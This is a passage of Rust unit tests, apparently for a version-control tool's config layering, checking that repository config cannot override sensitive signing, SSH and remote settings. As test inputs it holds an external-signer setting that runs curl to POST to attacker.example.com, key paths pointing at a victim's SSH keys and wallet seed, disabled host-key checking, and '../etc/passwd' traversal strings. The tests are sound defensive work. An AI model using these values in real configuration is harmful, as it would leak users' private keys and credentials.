1317 assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1318 assert_eq!(cfg.remote_type, "file");
1319 }
1320
1321 #[test]
1322 fn repo_user_identity_is_rejected() {
1323 let cfg = layer(Some("user.identity = 012000aaaaaaaa\n"), None);
1324 assert!(cfg.user_identity.is_empty());
1325 }
1326
1327 #[test]
1328 fn repo_trusted_remote_endpoint_is_rejected() {
1329 let cfg = layer(
1330 Some("trusted_remote_endpoint = mkit+https://attacker.invalid/repo\n"),
1331 None,
1332 );
1333 assert!(cfg.trusted_remote_endpoint.is_empty());
1334 }
1335
1336 #[test]
1337 fn repo_external_signer_is_rejected() {
1338 let cfg = layer(
1339 Some(
1340 "attest.external_signer_path = /usr/bin/curl\n\
1341 attest.external_signer_args = -X|POST|attacker.example.com\n\
1342 attest.signer = external\n",
1343 ),
1344 None,
1345 );
1346 assert!(cfg.attest.external_signer_path.is_empty());
1347 assert!(cfg.attest.external_signer_args.is_empty());
1348 assert_eq!(cfg.attest.signer, "");
1355 }
1356
1357 #[test]
1364 fn repo_attest_signer_selector_cannot_weaponise_user_external_signer() {
1365 let cfg = layer(
1366 Some("attest.signer = external\n"),
1367 Some(
1368 "attest.external_signer_path = /home/user/bin/yubikey-sign\n\
1369 attest.external_signer_args = sign\n",
1370 ),
1371 );
1372 assert_eq!(
1376 cfg.attest.external_signer_path,
1377 "/home/user/bin/yubikey-sign"
1378 );
1379 assert_eq!(cfg.attest.signer, "");
1380 assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
1381 }
1382
1383 #[test]
1388 fn repo_attest_default_algorithm_is_rejected() {
1389 let cfg = layer(Some("attest.default_algorithm = secp256k1\n"), None);
1390 assert_eq!(cfg.attest.default_algorithm, "");
1391 assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
1393 }
1394
1395 #[test]
1396 fn repo_keystore_selectors_are_rejected() {
1397 let cfg = layer(
1398 Some(
1399 "signer = keystore\n\
1400 key.backend = yubikey\n\
1401 key.default_ref = yubikey:main\n\
1402 key.ed25519_ref = software:repo-ed\n\
1403 key.secp256k1_ref = software:repo-k1\n\
1404 key.p256_ref = software:repo-p256\n",
1405 ),
1406 None,
1407 );
1408 assert_eq!(cfg.signer, DEFAULT_SIGNER);
1409 assert_eq!(cfg.key.backend, DEFAULT_KEY_BACKEND);
1410 assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
1411 assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
1412 assert_eq!(
1413 cfg.key.secp256k1_ref_or_fallback(),
1414 DEFAULT_SECP256K1_KEY_REF
1415 );
1416 assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
1417 }
1418
1419 #[test]
1420 fn user_keystore_selectors_are_honored() {
1421 let cfg = layer(
1422 None,
1423 Some(
1424 "signer = keystore\n\
1425 key.backend = software\n\
1426 key.default_ref = software:user-default\n\
1427 key.ed25519_ref = software:user-ed\n\
1428 key.secp256k1_ref = software:user-k1\n\
1429 key.p256_ref = software:user-p256\n",
1430 ),
1431 );
1432 assert_eq!(cfg.signer, "keystore");
1433 assert_eq!(cfg.key.backend, "software");
1434 assert_eq!(cfg.key.default_ref, "software:user-default");
1435 assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:user-ed");
1436 assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:user-k1");
1437 assert_eq!(cfg.key.p256_ref_or_fallback(), "software:user-p256");
1438 }
1439
1440 #[test]
1441 fn user_default_key_ref_is_generic_fallback() {
1442 let cfg = layer(None, Some("key.default_ref = software:release\n"));
1443 assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1444 assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:release");
1445 assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:release");
1446 assert_eq!(cfg.key.p256_ref_or_fallback(), "software:release");
1447 }
1448
1449 #[test]
1450 fn algorithm_key_refs_override_default_key_ref() {
1451 let cfg = layer(
1452 None,
1453 Some(
1454 "key.default_ref = software:release\n\
1455 key.ed25519_ref = software:ed\n\
1456 key.secp256k1_ref = software:k1\n\
1457 key.p256_ref = software:p256\n",
1458 ),
1459 );
1460 assert_eq!(cfg.key.default_ref_or_fallback(), "software:release");
1461 assert_eq!(cfg.key.ed25519_ref_or_fallback(), "software:ed");
1462 assert_eq!(cfg.key.secp256k1_ref_or_fallback(), "software:k1");
1463 assert_eq!(cfg.key.p256_ref_or_fallback(), "software:p256");
1464 }
1465
1466 #[test]
1467 fn repo_ssh_host_key_checking_is_rejected() {
1468 let cfg = layer(
1469 Some(
1470 "ssh.strict_host_key_checking = no\n\
1471 ssh.user_known_hosts_file = /dev/null\n",
1472 ),
1473 None,
1474 );
1475 assert!(cfg.ssh_strict_host_key_checking.is_empty());
1476 assert!(cfg.ssh_user_known_hosts_file.is_empty());
1477 }
1478
1479 #[test]
1485 fn repo_ssh_identity_file_is_rejected() {
1486 let cfg = layer(
1487 Some("ssh.identity_file = /home/victim/.ssh/id_ed25519\n"),
1488 None,
1489 );
1490 assert!(cfg.ssh_identity_file.is_empty());
1491 }
1492
1493 #[test]
1496 fn repo_attest_secp256k1_key_path_is_rejected() {
1497 let cfg = layer(
1498 Some("attest.secp256k1_key_path = /home/victim/.wallet/seed\n"),
1499 None,
1500 );
1501 assert!(cfg.attest.secp256k1_key_path.is_empty());
1502 assert_eq!(
1504 cfg.attest.secp256k1_key_path_or_default(),
1505 ".mkit/keys/secp256k1.key"
1506 );
1507 }
1508
1509 #[test]
1511 fn repo_attest_p256_key_path_is_rejected() {
1512 let cfg = layer(
1513 Some("attest.p256_key_path = /home/victim/.ssh/id_ecdsa\n"),
1514 None,
1515 );
1516 assert!(cfg.attest.p256_key_path.is_empty());
1517 assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
1518 }
1519
1520 #[test]
1530 fn every_forbidden_key_is_actually_dropped_from_repo_scope() {
1531 const SENTINEL: &str = "EXFIL_SENTINEL";
1537
1538 for key in REPO_FORBIDDEN_KEYS {
1539 let line = format!("{key} = {SENTINEL}\n");
1540 let cfg = layer(Some(&line), None);
1541 let observed = match *key {
1544 "user.identity" => cfg.user_identity.as_str(),
1545 "trusted_remote_endpoint" => cfg.trusted_remote_endpoint.as_str(),
1546 "signer" => cfg.signer.as_str(),
1547 "key.backend" => cfg.key.backend.as_str(),
1548 "key.default_ref" => cfg.key.default_ref.as_str(),
1549 "key.ed25519_ref" => cfg.key.ed25519_ref.as_str(),
1550 "key.secp256k1_ref" => cfg.key.secp256k1_ref.as_str(),
1551 "key.p256_ref" => cfg.key.p256_ref.as_str(),
1552 "signing_key" => cfg.signing_key.as_str(),
1553 "ssh.strict_host_key_checking" => cfg.ssh_strict_host_key_checking.as_str(),
1554 "ssh.user_known_hosts_file" => cfg.ssh_user_known_hosts_file.as_str(),
1555 "ssh.identity_file" => cfg.ssh_identity_file.as_str(),
1556 "attest.signer" => cfg.attest.signer.as_str(),
1557 "attest.default_algorithm" => cfg.attest.default_algorithm.as_str(),
1558 "attest.external_signer_path" => cfg.attest.external_signer_path.as_str(),
1559 "attest.external_signer_args" => {
1560 if cfg.attest.external_signer_args.is_empty() {
1562 ""
1563 } else {
1564 "<non-empty>"
1565 }
1566 }
1567 "attest.external_signer_timeout_secs" => {
1568 if cfg.attest.external_signer_timeout_secs.is_none() {
1573 ""
1574 } else {
1575 "<set>"
1576 }
1577 }
1578 "attest.secp256k1_key_path" => cfg.attest.secp256k1_key_path.as_str(),
1579 "attest.p256_key_path" => cfg.attest.p256_key_path.as_str(),
1580 other => panic!(
1586 "REPO_FORBIDDEN_KEYS contains `{other}` but the meta-test \
1587 in config.rs has no matching field accessor. Add an arm \
1588 to `every_forbidden_key_is_actually_dropped_from_repo_scope` \
1589 so the per-key drop is verified.",
1590 ),
1591 };
1592 assert!(
1599 observed != SENTINEL,
1600 "forbidden key `{key}` was NOT dropped from repo scope — \
1601 observed `{observed}` (matches attacker SENTINEL)",
1602 );
1603 }
1604 }
1605
1606 #[test]
1607 fn user_signing_key_is_honored() {
1608 let cfg = layer(None, Some("signing_key = /home/user/.mkit/global.key\n"));
1609 assert_eq!(cfg.signing_key, "/home/user/.mkit/global.key");
1610 }
1611
1612 fn gate_for_flat<F>(cfg: &LayeredConfig, getenv: &F) -> Option<String>
1617 where
1618 F: Fn(&str) -> Option<String>,
1619 {
1620 let endpoint = cfg.merged.remote_endpoint.trim();
1621 let repo_chosen = cfg.repo.remote_endpoint.trim() == endpoint;
1622 trusted_remote_error_for(
1623 endpoint,
1624 repo_chosen,
1625 cfg.user.trusted_remote_endpoint.trim(),
1626 getenv,
1627 )
1628 }
1629
1630 #[test]
1631 fn repo_http_remote_with_token_requires_user_trust() {
1632 let cfg = layered(
1633 Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
1634 None,
1635 );
1636 let msg = gate_for_flat(&cfg, &|name| {
1637 (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
1638 })
1639 .expect("repo-scoped HTTP remote with token must be rejected");
1640 assert!(msg.contains("trusted_remote_endpoint"));
1641 }
1642
1643 #[test]
1644 fn trusted_http_remote_is_allowed() {
1645 let cfg = layered(
1646 Some("remote_endpoint = mkit+https://example.invalid/repo\n"),
1647 Some("trusted_remote_endpoint = mkit+https://example.invalid/repo\n"),
1648 );
1649 let msg = gate_for_flat(&cfg, &|name| {
1650 (name == mkit_transport_http::TOKEN_ENV).then(|| "token".to_string())
1651 });
1652 assert!(msg.is_none());
1653 }
1654
1655 #[test]
1656 fn repo_s3_remote_with_env_creds_requires_user_trust() {
1657 let cfg = layered(
1658 Some("remote_endpoint = mkit+s3://r2.example.com/bucket/proj\n"),
1659 None,
1660 );
1661 let msg = gate_for_flat(&cfg, &|name| match name {
1662 mkit_transport_s3::ENV_ACCESS_KEY => Some("AKIA...".to_string()),
1663 _ => None,
1664 })
1665 .expect("repo-scoped S3 remote with env creds must be rejected");
1666 assert!(msg.contains("trusted_remote_endpoint"));
1667 }
1668
1669 #[test]
1675 fn user_chosen_http_remote_with_token_is_allowed() {
1676 let token =
1677 |name: &str| (name == mkit_transport_http::TOKEN_ENV).then(|| "tok".to_string());
1678 let ep = "mkit+https://example.invalid/repo";
1679 assert!(trusted_remote_error_for(ep, false, "", &token).is_none());
1681 assert!(trusted_remote_error_for(ep, true, "", &token).is_some());
1683 }
1684
1685 #[test]
1689 fn repo_http_remote_without_token_is_allowed() {
1690 let none = |_: &str| None;
1691 let ep = "mkit+https://example.invalid/repo";
1692 assert!(trusted_remote_error_for(ep, true, "", &none).is_none());
1693 }
1694
1695 #[test]
1698 fn ssh_and_file_endpoints_bypass_credential_gate() {
1699 let all = |_: &str| Some("present".to_string());
1700 assert!(trusted_remote_error_for("mkit+ssh://host/path", true, "", &all).is_none());
1701 assert!(trusted_remote_error_for("mkit+file:///srv/mirror", true, "", &all).is_none());
1702 }
1703
1704 #[test]
1708 fn endpoint_credential_trust_honours_provenance_and_user_trust() {
1709 let cfg = layered(
1710 None,
1711 Some("trusted_remote_endpoint = mkit+https://trusted.invalid/r\n"),
1712 );
1713 let _ = endpoint_credential_trust(&cfg, "mkit+https://untrusted.invalid/r", true);
1718 assert!(endpoint_credential_trust(&cfg, "mkit+https://trusted.invalid/r", true).is_ok());
1720 }
1721
1722 #[test]
1723 fn repo_safe_keys_override_user() {
1724 let cfg = layer(
1728 Some("default_branch = release\n"),
1729 Some("default_branch = trunk\n"),
1730 );
1731 assert_eq!(cfg.default_branch, "release");
1732 }
1733
1734 #[test]
1735 fn validate_key_path_rejects_parent_dir() {
1736 assert!(validate_key_path("../etc/passwd").is_err());
1737 assert!(validate_key_path(".mkit/keys/../../etc/passwd").is_err());
1738 assert!(validate_key_path("foo/../bar").is_err());
1739 }
1740
1741 #[test]
1742 fn validate_key_path_accepts_relative_and_absolute() {
1743 assert!(validate_key_path("").is_ok());
1744 assert!(validate_key_path(".mkit/keys/default.key").is_ok());
1745 assert!(validate_key_path("/home/user/.mkit/global.key").is_ok());
1746 }
1747
1748 #[test]
1749 fn resolve_key_path_rejects_relative_path_outside_repo_keys() {
1750 let td = TempDir::new().unwrap();
1751 assert!(resolve_key_path(td.path(), ".mkit/custom/global.key").is_err());
1752 }
1753
1754 #[test]
1755 fn resolve_key_path_accepts_relative_path_under_repo_keys() {
1756 let td = TempDir::new().unwrap();
1757 let out = resolve_key_path(td.path(), ".mkit/keys/custom/global.key").unwrap();
1758 assert_eq!(out, td.path().join(".mkit/keys/custom/global.key"));
1759 }
1760
1761 #[cfg(unix)]
1762 #[test]
1763 fn home_dir_for_euid_is_independent_of_home_env() {
1764 let from_passwd = home_dir_for_euid().expect("getpwuid_r should succeed");
1772 assert!(from_passwd.is_absolute());
1773 let td = TempDir::new().unwrap();
1780 let inside = from_passwd.join(".mkit/test-inside.key");
1781 assert!(resolve_key_path(td.path(), inside.to_str().unwrap()).is_ok());
1782 assert!(resolve_key_path(td.path(), "/__definitely_not_a_home_dir__/x.key").is_err());
1785 }
1786
1787 #[test]
1788 fn expand_user_identity_ed25519() {
1789 let hex = "11".repeat(32);
1790 let out = expand_user_identity(&format!("ed25519:{hex}")).unwrap();
1791 assert_eq!(out.len(), 70);
1792 assert!(out.starts_with("012000"));
1793 }
1794
1795 #[test]
1796 fn expand_user_identity_mid() {
1797 let out = expand_user_identity("mid:42").unwrap();
1798 assert_eq!(out, "0308002a00000000000000");
1799 }
1800
1801 #[test]
1802 fn expand_rejects_bogus() {
1803 assert!(expand_user_identity("").is_err());
1804 assert!(expand_user_identity("ed25519:short").is_err());
1805 assert!(expand_user_identity("mid:notanumber").is_err());
1806 assert!(expand_user_identity("zzzzzz").is_err());
1807 }
1808
1809 #[test]
1810 fn validate_value_rejects_control_chars() {
1811 assert!(validate_value("hello world").is_ok());
1812 assert!(validate_value("bad\x01char").is_err());
1813 assert!(validate_value("\x7fdel").is_err());
1814 }
1815
1816 #[test]
1817 fn attest_config_defaults_are_empty() {
1818 let cfg = Config::with_defaults();
1819 assert_eq!(cfg.signer, DEFAULT_SIGNER);
1820 assert_eq!(cfg.key.backend_or_fallback(), DEFAULT_KEY_BACKEND);
1821 assert_eq!(cfg.key.default_ref_or_fallback(), DEFAULT_KEY_REF);
1822 assert!(cfg.key.default_ref.is_empty());
1823 assert!(cfg.key.ed25519_ref.is_empty());
1824 assert!(cfg.key.secp256k1_ref.is_empty());
1825 assert!(cfg.key.p256_ref.is_empty());
1826 assert_eq!(cfg.key.ed25519_ref_or_fallback(), DEFAULT_KEY_REF);
1827 assert_eq!(
1828 cfg.key.secp256k1_ref_or_fallback(),
1829 DEFAULT_SECP256K1_KEY_REF
1830 );
1831 assert_eq!(cfg.key.p256_ref_or_fallback(), DEFAULT_P256_KEY_REF);
1832 assert_eq!(cfg.attest.default_algorithm, "");
1833 assert_eq!(cfg.attest.signer, "");
1834 assert_eq!(cfg.attest.default_algorithm_or_fallback(), "ed25519");
1835 assert_eq!(cfg.attest.signer_or_fallback(), "repo-key");
1836 assert_eq!(
1837 cfg.attest.secp256k1_key_path_or_default(),
1838 ".mkit/keys/secp256k1.key"
1839 );
1840 assert_eq!(cfg.attest.p256_key_path_or_default(), ".mkit/keys/p256.key");
1841 }
1842
1843 #[test]
1844 fn legacy_keys_are_ignored_in_repo() {
1845 let cfg = layer(Some("project_id = xyz\nauthor_mid = 5\n"), None);
1846 assert_eq!(cfg.signing_key, DEFAULT_SIGNING_KEY);
1847 }
1848
1849 #[test]
1854 fn user_kv_replace_or_append_logic_via_roundtrip() {
1855 let td = TempDir::new().unwrap();
1856 let path = td.path().join("user_config");
1857 fs::write(&path, "default_branch = trunk\nsigning_key = /a\n").unwrap();
1858 let mut text = fs::read_to_string(&path).unwrap();
1862 text = text.replace("/a", "/b");
1863 fs::write(&path, text).unwrap();
1864 let mut cfg = Config::with_defaults();
1865 apply_file(&mut cfg, &path, ConfigScope::User).unwrap();
1866 assert_eq!(cfg.signing_key, "/b");
1867 assert_eq!(cfg.default_branch, "trunk");
1868 }
1869
1870 #[test]
1871 fn named_remote_keys_parse_repo_safe() {
1872 let cfg = layer(
1873 Some(
1874 "remote.origin.url = mkit+file:///srv/m\n\
1875 remote.origin.type = file\n\
1876 branch.main.remote = origin\n\
1877 branch.main.merge = main\n",
1878 ),
1879 None,
1880 );
1881 let origin = cfg.remotes.get("origin").expect("origin present");
1882 assert_eq!(origin.url, "mkit+file:///srv/m");
1883 assert_eq!(origin.remote_type, "file");
1884 let up = cfg.branch_upstreams.get("main").expect("upstream present");
1885 assert_eq!(up.remote, "origin");
1886 assert_eq!(up.branch, "main");
1887 }
1888
1889 #[test]
1890 fn named_remote_roundtrips_through_write() {
1891 let td = TempDir::new().unwrap();
1892 let mut cfg = Config::with_defaults();
1893 cfg.remotes.insert(
1894 "origin".into(),
1895 RemoteEntry {
1896 url: "mkit+https://h/r".into(),
1897 remote_type: "http".into(),
1898 },
1899 );
1900 cfg.branch_upstreams.insert(
1901 "main".into(),
1902 Upstream {
1903 remote: "origin".into(),
1904 branch: "main".into(),
1905 },
1906 );
1907 write(td.path(), &cfg).unwrap();
1908 let reloaded = read_or_default(td.path()).unwrap();
1909 assert_eq!(
1910 reloaded.remotes.get("origin").unwrap().url,
1911 "mkit+https://h/r"
1912 );
1913 assert_eq!(
1914 reloaded.branch_upstreams.get("main").unwrap().remote,
1915 "origin"
1916 );
1917 }
1918
1919 #[test]
1920 fn resolve_remote_default_and_named_provenance() {
1921 let lc = layered(
1923 Some("remote.origin.url = mkit+https://h/r\nremote.origin.type = http\n"),
1924 None,
1925 );
1926 let r = resolve_remote(&lc, "origin").expect("origin resolves");
1927 assert_eq!(r.endpoint, "mkit+https://h/r");
1928 assert!(r.repo_chosen);
1929
1930 let lc = layered(Some("remote_endpoint = mkit+https://h/d\n"), None);
1932 let r = resolve_remote(&lc, "default").expect("default resolves");
1933 assert!(r.repo_chosen);
1934
1935 let lc = layered(None, Some("remote_endpoint = mkit+https://h/u\n"));
1937 let r = resolve_remote(&lc, "").expect("empty -> default");
1938 assert!(!r.repo_chosen);
1939
1940 let lc = layered(None, None);
1942 assert!(resolve_remote(&lc, "nope").is_none());
1943 }
1944
1945 #[test]
1946 fn resolve_upstream_explicit_and_fallback() {
1947 let lc = layered(
1948 Some("branch.main.remote = origin\nbranch.main.merge = trunk\n"),
1949 None,
1950 );
1951 let up = resolve_upstream(&lc, "main").unwrap();
1952 assert_eq!(up.remote, "origin");
1953 assert_eq!(up.branch, "trunk");
1954
1955 let lc = layered(Some("remote_endpoint = mkit+file:///srv\n"), None);
1957 let up = resolve_upstream(&lc, "feature").unwrap();
1958 assert_eq!(up.remote, DEFAULT_REMOTE_NAME);
1959 assert_eq!(up.branch, "feature");
1960
1961 let lc = layered(None, None);
1963 assert!(resolve_upstream(&lc, "main").is_none());
1964 }
1965}